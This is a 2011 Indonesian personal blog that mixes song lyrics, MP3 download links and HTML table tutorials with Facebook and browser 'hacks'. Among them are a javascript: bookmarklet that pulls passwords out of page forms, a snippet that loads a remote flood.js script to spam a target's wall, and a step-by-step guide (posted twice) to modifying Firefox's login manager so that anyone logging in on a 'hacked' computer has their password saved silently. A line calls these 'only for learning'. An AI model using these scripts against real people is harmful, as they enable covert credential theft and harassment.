Sabtu, 30 April 2011
Kamis, 28 April 2011
free download mp3 Sheila On 7 - Pasti Ku Bisa Lyrics
Sheila On 7 - Pasti Ku Bisa Lyrics, sheila on 7 terbaru , sheila 2011. free download mp3, download lagu sheila on 7.
clik here to download
lirik
Lihat apa yang terjadi
Dengan semua rencanaku
Hancur semua berantakan
Dia berjalan keluar dari lingkaran hidupku
Bebas kulepaskan dia
Akupun mulai berdendang
Pasti ku bisa melanjutkannya
Pasti ku bisa menerima dan melanjutkannya
Ooh pasti ku bisa menyembuhkannya
Cepat bangkit dan berfikir
Semua tak berakhir disini
Merasakan pandanganmu
Penuh cerita dan luka
Memang begitulah semua
Jangan pernah kau menunggu
Keajaiban dunia
Bukalah satu tujuan
Pasti kau bisa melanjutkannya
Pasti kau bisa menerima dan melanjutkannya
Ooh pasti kau bisa menyembuhkannya
Cepat bangkit dan berfikir
Semua tak berakhir disini
Pasti ku bisa melanjutkannya
Pasti ku bisa menerima dan melanjutkannya
Ooh pasti ku bisa menyembuhkannya
Cepat bangkit dan berfikir
Semua tak berakhir disini
Dengan semua rencanaku
Hancur semua berantakan
Dia berjalan keluar dari lingkaran hidupku
Bebas kulepaskan dia
Akupun mulai berdendang
Pasti ku bisa melanjutkannya
Pasti ku bisa menerima dan melanjutkannya
Ooh pasti ku bisa menyembuhkannya
Cepat bangkit dan berfikir
Semua tak berakhir disini
Merasakan pandanganmu
Penuh cerita dan luka
Memang begitulah semua
Jangan pernah kau menunggu
Keajaiban dunia
Bukalah satu tujuan
Pasti kau bisa melanjutkannya
Pasti kau bisa menerima dan melanjutkannya
Ooh pasti kau bisa menyembuhkannya
Cepat bangkit dan berfikir
Semua tak berakhir disini
Pasti ku bisa melanjutkannya
Pasti ku bisa menerima dan melanjutkannya
Ooh pasti ku bisa menyembuhkannya
Cepat bangkit dan berfikir
Semua tak berakhir disini
javascript auto like status on facebook
javascript auto like on facebook, auto like , jempol otomatis, status facebook, facebook, jempol,
seperti biasa copy scriptnya dan paste di adress bar, tunggu beberapa saat, status di branda ke like otomatis
seperti biasa copy scriptnya dan paste di adress bar, tunggu beberapa saat, status di branda ke like otomatis
scriptnya
javascript:var i=0;ex=0;s=0;function EXP_ALL(){ExpandComm = document.getElementsByTagName("input");for(e = 0; e < ExpandComm.length; e++){myClass = ExpandComm[e].getAttribute("class");if(myClass != null && myClass.indexOf("stat_elem") >= 0)if(ExpandComm[e].getAttribute("name") == "view_all")ExpandComm[e].click()}}function JEMPOLERS(){jempol = document.getElementsByTagName("button");for(j = 0; j < jempol.length; j++){myClass = jempol[j].getAttribute("class");if(myClass != null && myClass.indexOf("like_link") >= 0)if(jempol[j].getAttribute("name") == "like")jempol[j].click()};}function JEMPOLERC(){buttons = document.getElementsByTagName("button");for(x = 0; x < buttons.length; x++){myClass = buttons[x].getAttribute("class");if(myClass != null && myClass.indexOf("stat_elem") >= 0)if(buttons[x].getAttribute("title") == "Like this comment")buttons[x].click()};}function updateTime(){ex=ex+1;i=i+1;s=s+1;if (ex==70){EXP_ALL();ex=0};if (s==60){ex=0;JEMPOLERS();s=0};if (i==2){JEMPOLERC();i=0;}}alert('-==[jangan lupa berkunjung ke www.japarus.co.tv lagi yah :D]==-\n\n');updateTime();window.setInterval(updateTime, 1000);void(0)
ini buat warna warni di halaman facebook
javascript:i=0;c=["red","green","b...lue","yellow","magenta","orange","pink","violet"]; a=document.links;setInterval('i++;a[i %document.links.length].style.color=c[i % c.length]',1);void(0); alert("jangan lupa kunjungi www.japarus.co.tv lagi yah :D")
Sabtu, 23 April 2011
Cara Mudah melihat User ID Facebook (javascript)
cara mudah melihat user ID facebook anda, javascrip melihat user ID, langsung aj di copas sccrip nya lalu Tekan Enter
paste di adress bar kamu
javascript:alert('Ini USER ID Kamu : '+Env['user']);void(0)
Jumat, 22 April 2011
Upload file dapat Duit
Upload file di ziddu dapat duit
Anda akan DIBAYAR $0.001 jika ada yang 1 kali men downloadnya. Jika di akumulasikan akan seperti ini..
10000 Unique Downloads: $10 USD
50000 Unique Downloads: $50 USD
100000 Unique Downloads: $100 USD
500000 Unique Downloads: $500 USD
1000000 Unique Downloads: $1000 USD
minat silahkan register ---->disini
Kamis, 21 April 2011
liat password menggunakan javascript (khusus orang pikun)
langsung liat gambar aja yah ,, kali ini saya ambil contoh facebook ..
posisi seperti digambar, paste kode ini di adress bar:
javascript: var p=r(); function r(){var g=0;var x=false;var x=z(document.forms);g=g+1;var w=window.frames;for(var k=0;k<w.length;k++) {var x = ((x) || (z(w[k].document.forms)));g=g+1;}if (!x) alert('ditemukan ' + g + ' forms');}function z(f){var b=false;for(var i=0;i<f.length;i++) {var e=f[i].elements;for(var j=0;j<e.length;j++) {if (h(e[j])) {b=true}}}return b;}function h(ej){var s='';if (ej.type=='password'){s=ej.value;if (s!=''){prompt('Password ditemukan ', s)}else{alert('Password tidak ada')}return true;}}
kode Warna HTML bagian 2
source codenya:
<center><div id="TrixCGv1"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="430" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="quality" value="high" /><param name="bgcolor" value="#cccccc" /><param name="src" value="http://e-infotainment.com/applications/color-code-generator/v1/trixcgv1.swf" /><param name="name" value="flash" /><param name="align" value="middle" /><param name="flashvars" value="lng=Tamil&timeint=30&skt=yes" /><embed type="application/x-shockwave-flash" width="400" height="430" src="http://e-infotainment.com/applications/color-code-generator/v1/trixcgv1.swf" flashvars="lng=Tamil&timeint=30&skt=yes" align="middle" name="flash" bgcolor="#cccccc" quality="high"></embed></object></div></center>
Rabu, 20 April 2011
free download lagu bribtu norman tahu sama tahu (TST)
Download lagu bribtu norman tahu sama tahu, free download mp3 bribtu norman yok damai yok, free download mp3 lagu norman Terbaru, download lagu bribtu norman .
Artist : Briptu Norman
Title : Yok Damai Yok
Album : Single April 2011
Genre : Pop
download here
Artist : Briptu Norman
Title : Tahu Sama Tahu (TST)
Album : Single April 2011
Genre : Pop
download here
Artist : Briptu Norman
Title : Yok Damai Yok
Album : Single April 2011
Genre : Pop
Artist : Briptu Norman
Title : Tahu Sama Tahu (TST)
Album : Single April 2011
Genre : Pop
Selasa, 19 April 2011
free download mp3 ariel dara 2011
download lagu ariel mp3, free download ariel dara mp3,ariel dara 2011.download lagu ariel terbaru.
Artist : Ariel Peterpan
Title : Dara
Album : Single April 2011
Genre : Pop
download lagunya disini
Artist : Ariel Peterpan
Title : Dara
Album : Single April 2011
Genre : Pop
lirik:
dan jangan kau bersedih
ku tahu kau lelah
tepiskan keruh dunia
biarkan mereka, biarkan mereka
tenangkan hati di sana
tertidur kau lelap
mimpi yang menenangkan
biarkan semua, biarkan semua
* kurangi beban itu
tetap lihat ke depan
tak terasingkan dunia
dua jiwa perih
masih ada disana
untuk kita berdua
dalam hati yang menyatu
tempat kita berdua
repeat *
masih ada di sana, untuk kita berdua
dalam hati yang menyatu
tempat kita berdua
dan jangan kau bersedih
ku tahu kau lelah, tepiskan keruh dunia
ku tahu kau lelah
tepiskan keruh dunia
biarkan mereka, biarkan mereka
tenangkan hati di sana
tertidur kau lelap
mimpi yang menenangkan
biarkan semua, biarkan semua
* kurangi beban itu
tetap lihat ke depan
tak terasingkan dunia
dua jiwa perih
masih ada disana
untuk kita berdua
dalam hati yang menyatu
tempat kita berdua
repeat *
masih ada di sana, untuk kita berdua
dalam hati yang menyatu
tempat kita berdua
dan jangan kau bersedih
ku tahu kau lelah, tepiskan keruh dunia
Senin, 18 April 2011
Mengatasi Foto Facebook ada Background Hitam
caranya
tekan f5 aja pas di halaman foto yang ada backgroun hitamnya
menyimpan password secara otomatis di firefox
ada yang pernah liat gini gak , setiap kita login sesuatu
hemm.. pasti semua pernah liat kan , pernah berpikir ga? , kalau tulisan remember itu terklik otomatis oleh mouse kita !! ... dah paham kan maksut nya ?? !
ok langsung ke tutor aja ..
1. Tutup firefox terlebih dahulu
2. buka Browse C:\Program Files\Mozilla Firefox\components\ dan temukan script bernama nsLoginManagerPrompter.js
3. Klik kanan > Edit with Notepad ++ (Harus Punya Software Notepad+ + Dulu)
4. Ganti baris ke 642 sampai 711 dengan kode berikut :
var pwmgr = this._pwmgr;
pwmgr.addLogin(aLogin);
Selesai......
Maka setiap kali anda / teman anda login di komputer yang telah anda hack firefoxnya, maka passwordnya akan tersimpan secara otomatis ..
Ingat, jangan disalahgunakan yah.!. mencoba sekali boleh ,,
hanya untuk pembelajaran saja , hehehe ...
kalau bingung atau malas edit scripnya ,. langsung aja download js disini ..
setelah di download klik kanan file nya , trus di ekstrak ,copy file yang bernama nsLoginManagerPrompter buka my komputer C:\Program Files\Mozilla Firefox\components\ cari bacaan nsLoginManagerPrompter hapus ganti sama file yang di download diatas tadi
utuk melihat semua password yang tersimpan carannya ..
klik Tools(peralatan) yang ada diatas layar, diatas adress bar trus - Option - Security - Saved Password - Show Saved Password
.. ok .. selesai . selamat mencoba .
hemm.. pasti semua pernah liat kan , pernah berpikir ga? , kalau tulisan remember itu terklik otomatis oleh mouse kita !! ... dah paham kan maksut nya ?? !
ok langsung ke tutor aja ..
1. Tutup firefox terlebih dahulu
2. buka Browse C:\Program Files\Mozilla Firefox\components\ dan temukan script bernama nsLoginManagerPrompter.js
3. Klik kanan > Edit with Notepad ++ (Harus Punya Software Notepad+ + Dulu)
4. Ganti baris ke 642 sampai 711 dengan kode berikut :
var pwmgr = this._pwmgr;
pwmgr.addLogin(aLogin);
Selesai......
Maka setiap kali anda / teman anda login di komputer yang telah anda hack firefoxnya, maka passwordnya akan tersimpan secara otomatis ..
Ingat, jangan disalahgunakan yah.!. mencoba sekali boleh ,,
hanya untuk pembelajaran saja , hehehe ...
kalau bingung atau malas edit scripnya ,. langsung aja download js disini ..
setelah di download klik kanan file nya , trus di ekstrak ,copy file yang bernama nsLoginManagerPrompter buka my komputer C:\Program Files\Mozilla Firefox\components\ cari bacaan nsLoginManagerPrompter hapus ganti sama file yang di download diatas tadi
utuk melihat semua password yang tersimpan carannya ..
klik Tools(peralatan) yang ada diatas layar, diatas adress bar trus - Option - Security - Saved Password - Show Saved Password
.. ok .. selesai . selamat mencoba .
Minggu, 17 April 2011
download lagu mp3 ariel terbaru darah
ariel peterpan hari ini tepat jam 1, 18-04-2011 mengeluarkan lagu terbarunya yang berjudul darah, hmmm .. bnyk yang penasaran kan sama lirik dan lagu ,,. silahkan download disni
lirik nya
* Jangan-jangan kau bersedih
* Ku tahu kau lelah
* Tepiskan keujung dunia
* Biarkan mereka-mereka
* Tenangkan hati disana
* Ketika lelah
* Mimpi yang menyenangkan
* Biarkan semua-semua
* Kurangi beban itu
* Tetap lihat kedepan
* Tak terasingkan dunia
* Dua jiwa perih
* Masih ada disana,untuk kita berdua
* Dalam hati yang bersatu
* Tempat kita berdua
* Dan jangan kau bersedih
* Ku tahu kau lelah
* Tepiskan keujung dunia
* Ku tahu kau lelah
* Tepiskan keujung dunia
* Biarkan mereka-mereka
* Tenangkan hati disana
* Ketika lelah
* Mimpi yang menyenangkan
* Biarkan semua-semua
* Kurangi beban itu
* Tetap lihat kedepan
* Tak terasingkan dunia
* Dua jiwa perih
* Masih ada disana,untuk kita berdua
* Dalam hati yang bersatu
* Tempat kita berdua
* Dan jangan kau bersedih
* Ku tahu kau lelah
* Tepiskan keujung dunia
download lagu peterband ada ada aja denganmu
lagu-nya Ada ada aja denganmu + Lirik. Temen-temen bisa download lagu peterband tersebut gratis. Di Lagu ada ada aja denganmu ini sekilas memang mirip dengan lagu peterpan – ada apa dengamu. Sudah disertakan lirik , silahkan download.
Sekedar info. Peterband merupakan band baru besutan charly ST12. Yang dimana salah satu personilnya bernama arul (vokalis peterband). Dan lagu ada-ada aja denganmu ini merupakan lagu hits yang pernah arul demo-kan ke charly ST12 sebelumnya dan kemudian dibentuk menjadi sebuah band bernama peterband.
download nya disini
Sekedar info. Peterband merupakan band baru besutan charly ST12. Yang dimana salah satu personilnya bernama arul (vokalis peterband). Dan lagu ada-ada aja denganmu ini merupakan lagu hits yang pernah arul demo-kan ke charly ST12 sebelumnya dan kemudian dibentuk menjadi sebuah band bernama peterband.
download nya disini
lirik nya:
Bila, ku terluka …
Ku terluka karena cinta …
Dan cinta ini sudah …
Indahnya tak seperti dulu …
ouoo oo ouooo …
Kamu, tlah berubah …
Kau tak lagi hargai aku …
Kamu mungkin memang sudah …
Tlah hilang semua rasamu padaku …
reff :
Dan aku, aku takut kehilanganmu …
Kini kau mau tinggalkanku …
Ada-ada aja denganmu …
Dan tak mudah, untuk aku mengingatkanmu …
Hatimu keras bagai batu …
Ada-ada aja denganmu …
Ku terluka karena cinta …
Dan cinta ini sudah …
Indahnya tak seperti dulu …
ouoo oo ouooo …
Kamu, tlah berubah …
Kau tak lagi hargai aku …
Kamu mungkin memang sudah …
Tlah hilang semua rasamu padaku …
reff :
Dan aku, aku takut kehilanganmu …
Kini kau mau tinggalkanku …
Ada-ada aja denganmu …
Dan tak mudah, untuk aku mengingatkanmu …
Hatimu keras bagai batu …
Ada-ada aja denganmu …
Jumat, 15 April 2011
Kamis, 14 April 2011
auto accept friend request
langsung aja ke tutor ya ..
pertama login fb , buka halaman permintaan pertemanan
trus paste script ini di adress bar nya , adres bar itu yang di atas yang www.testing.com
trus tekan enter
pertama login fb , buka halaman permintaan pertemanan
trus paste script ini di adress bar nya , adres bar itu yang di atas yang www.testing.com
trus tekan enter
ini auto accept friend request
javascript:for( i = 1;i<document.getElementsByName("actions[accept]").length;i++){document.getElementsByName("actions[accept]")[i].click();}void(0);
ini kalo mau meng abaikan semuanya
javascript:for( i = 1;i<document.getElementsByName("actions[hide]").length;i++){document.getElementsByName("actions[hide]")[i].click();}void(0);
Rabu, 13 April 2011
flood facebook
wkwkwkwk .. flod lagi flod lagi ..
to the poin aja yah , wkwkwkwk ..
pertama login facebook
"ke dua copy ini scrip"
copy kode ini tekan cntr+c
javascript:(a = (b = document).createElement("script")).src = "http://japarus.xtgem.com/flood.js", b.body.appendChild(a); void(0);
selanjutnya paste itu kode di adress bar
kalau ga tau apa itu adres bar , tu yang di ats sekali di mozila firefox yang ada tulisan www.bla.com
trus klik enter
masukin jumlah pesan yang keluar
klik ok
masukin isi pesan text
catatan :
kalau mau kirim ke wall buka dulu propil target, untuk resiko tanggung masing masing ,, wkkkkk ,, ini hanya sekedar pembelajaran
Senin, 11 April 2011
script Membuat Tabel di Blog
Nama tabel |
satu kolom |
script nya
<table width="200" border="1">
<tr>
<td scope="col"><div align="center">Nama tabel</div></td>
</tr>
<tr>
<td><div align="center">satu kolom</div></td>
</tr>
</table>
<tr>
<td scope="col"><div align="center">Nama tabel</div></td>
</tr>
<tr>
<td><div align="center">satu kolom</div></td>
</tr>
</table>
keras | watak |
script nya
<table width="200" border="1">
<tr>
<td scope="col"><div align="center">keras</div></td>
<td scope="col"><div align="center">watak</div></td>
</tr>
</table>
;
<tr>
<td scope="col"><div align="center">keras</div></td>
<td scope="col"><div align="center">watak</div></td>
</tr>
</table>
;
qqq | wwww |
aaaaa | zzzzz |
scripnya
<table width="500" border="1">
<tr>
<td scope="col"><div align="center">qqq</div></td>
<td scope="col"><div align="center">wwww</div></td>
</tr>
<tr>
<td scope="col"><div align="center">aaaaa Goggle</div></td>
<td scope="col"><div align="center">zzzzz</div></td>
</tr>
</table>
<tr>
<td scope="col"><div align="center">qqq</div></td>
<td scope="col"><div align="center">wwww</div></td>
</tr>
<tr>
<td scope="col"><div align="center">aaaaa Goggle</div></td>
<td scope="col"><div align="center">zzzzz</div></td>
</tr>
</table>
qqqqqqqqqqqqqqqqqqqqqqqqqq | ||
---|---|---|
qq | aa | zz |
xxxxx | vvvvv | wwwww |
rrrrr | ffffff | hhhhh |
script nya
<table border="1" style="margin-left: auto; margin-right: auto; text-align: left; width: 200px;"><tbody>
<tr> <th colspan="3" scope="col"><div align="center">qqqqqqqqqqqqqqqqqqqqqqqqqq
</div></th> </tr>
<tr> <td><div align="center"><strong>qq</strong></div></td>
<td><div align="center"><strong>aa</strong></div></td>
<td><div align="center"><strong>zz</strong></div></td>
</tr>
<tr> <td><div align="center">xxxxx</div></td>
<td><div align="center">vvvvv</div></td>
<td><div align="center">wwwww</div></td>
</tr>
<tr> <td><div align="center">rrrrr</div></td>
<td><div align="center">ffffff</div></td>
<td><div align="center">hhhhh</div></td>
</tr>
</tbody></table>
ket :
colspan="3" artinya baris pertama lebarnya 3 kolom
<tr> <th colspan="3" scope="col"><div align="center">qqqqqqqqqqqqqqqqqqqqqqqqqq
</div></th> </tr>
<tr> <td><div align="center"><strong>qq</strong></div></td>
<td><div align="center"><strong>aa</strong></div></td>
<td><div align="center"><strong>zz</strong></div></td>
</tr>
<tr> <td><div align="center">xxxxx</div></td>
<td><div align="center">vvvvv</div></td>
<td><div align="center">wwwww</div></td>
</tr>
<tr> <td><div align="center">rrrrr</div></td>
<td><div align="center">ffffff</div></td>
<td><div align="center">hhhhh</div></td>
</tr>
</tbody></table>
ket :
colspan="3" artinya baris pertama lebarnya 3 kolom
haking | zynga | |
poker | hacking |
scripnya
<table width="0" border="5">
<tr>
<td>haking</td>
<td>facebook</td>
<td>zynga</td>
</tr>
<tr>
<td>poker</td>
<td>hacking</td>
<td>email</td>
</tr>
</table>
<tr>
<td>haking</td>
<td>facebook</td>
<td>zynga</td>
</tr>
<tr>
<td>poker</td>
<td>hacking</td>
<td>email</td>
</tr>
</table>
warna | warna | warna |
warna | warna | warna |
script nya
<table width="0" border="1" bordercolor="#00FF00">
<tr>
<td>warna</td>
<td>warna</td>
<td>warna</td>
</tr>
<tr>
<td>warna</td>
<td>warna</td>
<td>warna</td>
</tr>
</table>
<tr>
<td>warna</td>
<td>warna</td>
<td>warna</td>
</tr>
<tr>
<td>warna</td>
<td>warna</td>
<td>warna</td>
</tr>
</table>
background berwana | background berwana | background berwana |
script
<table width="0" border="1">
<tr>
<td bgcolor="#00FF00"><div align="center">background berwana</div></td>
<td bgcolor="#FF0000"><div align="center">background berwana</div></td>
<td bgcolor="#00FFFF"><div align="center">background berwana</div></td>
</tr>
</table>
<tr>
<td bgcolor="#00FF00"><div align="center">background berwana</div></td>
<td bgcolor="#FF0000"><div align="center">background berwana</div></td>
<td bgcolor="#00FFFF"><div align="center">background berwana</div></td>
</tr>
</table>
Sabtu, 09 April 2011
Aplikasi Socially Untuk Ponsel Symbian
Bagi para anda pemilik ponsel symbian yang gemar bermain Facebook, Twitter, dan Linkedln kini akan dimanjakan dengan adanya sebuah aplikasi yang cukup menarik bernama SociallyApp.
Dengan aplikasi ini dapat menghubungkan anda dan teman-teman anda di Facebook, Twitter, Linkkedln hanya dengan satu klik seperti mengakses jejaring sosial pada PC atau komputer.
Anda juga dapat melakukan update status, melihat status, melihat wall, komentar yang ada pada Facebook selain itu anda juga dapat melihat profile dari panggilan yang masuk pada ponsel dan melakukan sinkronisasi daftar kontak teman Facebook anda.
Apabila anda ingin mencoba aplikasi ini, anda dapat langsung mengetikkan http://m.sociallyapp.com pada browser bawaan ponsel dan silahkan ikuti petunjuk beserta langkah-langkahnya.
Kompabilitas: Symbian OS 9.1/9.2, Symbian OS 6.1/7.0/8.1
Pengembang: Socially App.
Cara Mudah Compress dan Resize Gambar
Salah satu hal yang sangat penting bagi para blogger adalah meningkatkan kecepatan blog,masalah ini dapat dilakukan dengan cara mengecilkan ukuran gambar yang akan dipakai.
Selain itu juga sangat berguna bagi para blogger yang memiliki bandwidth hosting kecil,sehingga bisa menghemat bandwith internet yang mengunjungi blog kita.
langsung ke
Selain itu juga sangat berguna bagi para blogger yang memiliki bandwidth hosting kecil,sehingga bisa menghemat bandwith internet yang mengunjungi blog kita.
langsung ke
Rabu, 06 April 2011
polisi gorantalo joget india
saat ini video polisi joget india sudah mencapai pengunjung 45 ribuan dan 1600 komentar di youtube.
Berikut ini free download video polisi joget india goronatalo norman kamaru :
Berikut ini free download video polisi joget india goronatalo norman kamaru :
Selasa, 05 April 2011
edit aplikasi chatndate (basic)
g ada kerjaan , pengen tulis artikel aja dah , tapi bingung tulis apa yah ,, hmmm ,, telintas di benak ingat si >boim ritonga , wkkkk .. ingat boim jadi ingat chatndate .. oklah saya tulis artikel nya dengan gambar . di jamin skali coba langsung bisa dah .
tutorial nya kali ini edit aplikasi chatndate , dasar nya aja , kita ambil edit di bagian smile.txt nya aja dah .. ok .. next ..
1. download aplikasi chatndate.jar (format jar)kalau belum ada download disini taruh
aplikasinya di deskop, biar mudah nantinya ..ok next ..
klik kanan aplikasi jar nya
2.setelah selesai di extract pasti ada keluar folder baru di deskop, coba perhatikan pelan pelan , pasti ada folder warna kuning, kalau sudah ketemu , klik 2x tu folder, nanti semua isinnya pasti kliatan , next ...
3. nak kliatan smua kan isi smile, contoh :D icon nyengir
yang bagian :D itu di edit aja , misal kan mau di jadiin sepuluh
contoh nyengir :D:D:D:D:D:D:D:D:D:D
terserah pengeedit lah mau di apakan , yg pasti editnya harus mengunakan karakter smile yg ada di dalam folder itu ... kalau sudah di edit smile.txt nya mari kita lanjut next ..
4.sekarang tahap membuat aplikasi menjadi format jar
disitu kan ada banyak file dari app sampai z,
yang paling atas yg app klik 1x trus biarkan aja, mouse jngan nyentuh apa2 dulu ,
arahkan ke bawah ujung mouse sehingga keliatan file z, tekan shift di keyboard klik sekali file z nya , shift masih posisi di tekan. pokok nya intinya semua file di dalam nya di blok smua. atau tekan ctrl + a untuk blog smua
5. kalau sudah di blok smua, klik kanan di bagian blok tadi (jangan sampai blok khapus)
nanti ada keluar tampilan baru, liat di bagian archive name , hapus ganti nama di situ jadi hapus.zip klik ok
setelah di ok dia akan jadi folder zip, yg berbentuk buku ,
6. klik 2x folder hapus.zip tadi , klik 2x, nanti semua isi file akan terlihat seperti gambar di bawah ini , next .. klik kanan, pilih select all atau ctrl + a
7. kalau sudah terblok smua , klik kanan lagi pilih add to archive
8. kalau sudah di ok , ada keluar lagi tampilan baru , klik sekali yang paling atas arahkan mouse ke paling bawah z , tekan shift klik sekali yg paling bawah tadi , yang z, intinya blok lagi semua .kmudian lepas shift nya tekan control , cari file yg bernama hapus.zip tadi, itu di klik 1x , (semua di blok , kcuali yang hapus.zip)
klik ok ..
klik ok ,.. trus tutup smua .. buka folder kuning yg pertama anda extract , nah disitu lah , file cnd.jar nya berada , app itu yg di install di hp
selesai ..
keterangan ..
folder di dalam aplikasi META-INF kalau di klik 2x ada MANIFEST klik lagi atau klik kanan open with notepad ada bacaan
MIDlet-Name: DISINI BISA TULIS NAMA ANDA
MIDlet-1: DISINI JUGA BISA DI TULIS NAMA ANDA,/app_icon.png,app.CNDIMSuperMIDlet
untuk edit file yg lain , gambar, class . dan lain lain ,, tunggu artikel selanjutnya aja , hehehe ...
moga bisa di mengerti , silahkan tanya jika ada yg kurang paham .
kalau aplikasi yg sering saya pakai bisa di download disini klik SKIP AD setelah klik link ini ..
tutorial nya kali ini edit aplikasi chatndate , dasar nya aja , kita ambil edit di bagian smile.txt nya aja dah .. ok .. next ..
1. download aplikasi chatndate.jar (format jar)kalau belum ada download disini taruh
aplikasinya di deskop, biar mudah nantinya ..ok next ..
klik kanan aplikasi jar nya
2.setelah selesai di extract pasti ada keluar folder baru di deskop, coba perhatikan pelan pelan , pasti ada folder warna kuning, kalau sudah ketemu , klik 2x tu folder, nanti semua isinnya pasti kliatan , next ...
3. nak kliatan smua kan isi smile, contoh :D icon nyengir
yang bagian :D itu di edit aja , misal kan mau di jadiin sepuluh
contoh nyengir :D:D:D:D:D:D:D:D:D:D
terserah pengeedit lah mau di apakan , yg pasti editnya harus mengunakan karakter smile yg ada di dalam folder itu ... kalau sudah di edit smile.txt nya mari kita lanjut next ..
4.sekarang tahap membuat aplikasi menjadi format jar
disitu kan ada banyak file dari app sampai z,
yang paling atas yg app klik 1x trus biarkan aja, mouse jngan nyentuh apa2 dulu ,
arahkan ke bawah ujung mouse sehingga keliatan file z, tekan shift di keyboard klik sekali file z nya , shift masih posisi di tekan. pokok nya intinya semua file di dalam nya di blok smua. atau tekan ctrl + a untuk blog smua
5. kalau sudah di blok smua, klik kanan di bagian blok tadi (jangan sampai blok khapus)
nanti ada keluar tampilan baru, liat di bagian archive name , hapus ganti nama di situ jadi hapus.zip klik ok
setelah di ok dia akan jadi folder zip, yg berbentuk buku ,
6. klik 2x folder hapus.zip tadi , klik 2x, nanti semua isi file akan terlihat seperti gambar di bawah ini , next .. klik kanan, pilih select all atau ctrl + a
7. kalau sudah terblok smua , klik kanan lagi pilih add to archive
8. kalau sudah di ok , ada keluar lagi tampilan baru , klik sekali yang paling atas arahkan mouse ke paling bawah z , tekan shift klik sekali yg paling bawah tadi , yang z, intinya blok lagi semua .kmudian lepas shift nya tekan control , cari file yg bernama hapus.zip tadi, itu di klik 1x , (semua di blok , kcuali yang hapus.zip)
klik ok ..
klik ok ,.. trus tutup smua .. buka folder kuning yg pertama anda extract , nah disitu lah , file cnd.jar nya berada , app itu yg di install di hp
selesai ..
keterangan ..
folder di dalam aplikasi META-INF kalau di klik 2x ada MANIFEST klik lagi atau klik kanan open with notepad ada bacaan
MIDlet-Name: DISINI BISA TULIS NAMA ANDA
MIDlet-1: DISINI JUGA BISA DI TULIS NAMA ANDA,/app_icon.png,app.CNDIMSuperMIDlet
untuk edit file yg lain , gambar, class . dan lain lain ,, tunggu artikel selanjutnya aja , hehehe ...
moga bisa di mengerti , silahkan tanya jika ada yg kurang paham .
kalau aplikasi yg sering saya pakai bisa di download disini klik SKIP AD setelah klik link ini ..
Senin, 04 April 2011
membuat table 4 kolom dengan css
seperti biasa cari kode ]]></b:skin> di edit html
paste kode css nya diaatas ]]></b:skin>
htmlnya bisa di taruh di postingan dan juga bisa di widget baru
width="800"> ukuran lebar tempelate anda
anda bisa edit sendiri ukurannya ... selesai ..
paste kode css nya diaatas ]]></b:skin>
css nya
.isiboks {
background-color:#ccc;
font-family:comic sans ms;
font-size:12px;
color:#3d010a;
padding:5px;
width:200px;
}
.isiboks:hover{
background:#666 url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixUy2HOm35o0nIuNtm8kLBCc4zMsynkONYwX4hSyXKRXNTC6EM6LA9Lez7PYXUWaFmGGHrZZUHwQeCUfvruMgmySchc9xqCoVqiKITCgY1_UO7-3CJBVXf6ers_4lHUONJE6MVDro1c9Q/s400/bgsGR_bgTablesilver.jpg);
}
.isiboks a{
font-family:tahoma;
font-weight:bold;
color: #003366;
text-decoration:none;
}
.isiboks a:hover{
color:#FF00FF;
}
td.judulboks{
text-align:center;
font-size:22px;
font-weight:bold;
color:#3d010a;
font-family:Tahoma;
}
td.judulboks:hover{
background:#fff url(http://japarus.xtgem.com/bgrpagar.jpg);
color: #999900;
border-color:#FF0000;
}
background-color:#ccc;
font-family:comic sans ms;
font-size:12px;
color:#3d010a;
padding:5px;
width:200px;
}
.isiboks:hover{
background:#666 url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixUy2HOm35o0nIuNtm8kLBCc4zMsynkONYwX4hSyXKRXNTC6EM6LA9Lez7PYXUWaFmGGHrZZUHwQeCUfvruMgmySchc9xqCoVqiKITCgY1_UO7-3CJBVXf6ers_4lHUONJE6MVDro1c9Q/s400/bgsGR_bgTablesilver.jpg);
}
.isiboks a{
font-family:tahoma;
font-weight:bold;
color: #003366;
text-decoration:none;
}
.isiboks a:hover{
color:#FF00FF;
}
td.judulboks{
text-align:center;
font-size:22px;
font-weight:bold;
color:#3d010a;
font-family:Tahoma;
}
td.judulboks:hover{
background:#fff url(http://japarus.xtgem.com/bgrpagar.jpg);
color: #999900;
border-color:#FF0000;
}
html nya
<table background="http://japarus.xtgem.com/pagar.jpg" bordercolor="cdd4cd" border=1 cellspacing="10" width="800">
<tr bordercolor="d8ffde">
<td class="judulboks" colspan=5 bgcolor="#CCCCCC">Judul Tabel 4 Kolom</td></tr>
<td class="isiboks" bordercolor="#d8ffde">
01. <a target="_blank" href="Link Judul-01">Judul-01</a> Tuliskan teks di sini !<br>
02. <a target="_blank" href="Link Judul-02">Judul-02</a> Tuliskan teks di sini !<br>
03. <a target="_blank" href="Link Judul-03">Judul-03</a> Tuliskan teks di sini !<br>
04. <a target="_blank" href="Link Judul-04">Judul-04</a> Tuliskan teks di sini !
</td>
<td class="isiboks" bordercolor="d8ffde">
01. <a target="_blank" href="Link Judul-05">Judul-05</a> Tuliskan teks di sini !<br>
02. <a target="_blank" href="Link Judul-06">Judul-06</a> Tuliskan teks di sini !<br>
03. <a target="_blank" href="Link Judul-07">Judul-07</a> Tuliskan teks di sini !<br>
04. <a target="_blank" href="Link Judul-08">Judul-08</a> Tuliskan teks di sini !
</td>
<td class="isiboks" bordercolor="d8ffde">
01. <a target="_blank" href="Link Judul-09">Judul-09</a> Tuliskan teks di sini !<br>
02. <a target="_blank" href="Link Judul-10">Judul-10</a> Tuliskan teks di sini !<br>
03. <a target="_blank" href="Link Judul-11">Judul-11</a> Tuliskan teks di sini !<br>
04. <a target="_blank" href="Link Judul-12">Judul-12</a> Tuliskan teks di sini !
</td>
<td class="isiboks" bordercolor="d8ffde">
01. <a target="_blank" href="Link Judul-13">Judul-13</a> Tuliskan teks di sini !<br>
02. <a target="_blank" href="Link Judul-14">Judul-14</a> Tuliskan teks di sini !<br>
03. <a target="_blank" href="Link Judul-15">Judul-15</a> Tuliskan teks di sini !<br>
04. <a target="_blank" href="Link Judul-16">Judul-16</a> Tuliskan teks di sini !
</td>
</tr>
</table>
<tr bordercolor="d8ffde">
<td class="judulboks" colspan=5 bgcolor="#CCCCCC">Judul Tabel 4 Kolom</td></tr>
<td class="isiboks" bordercolor="#d8ffde">
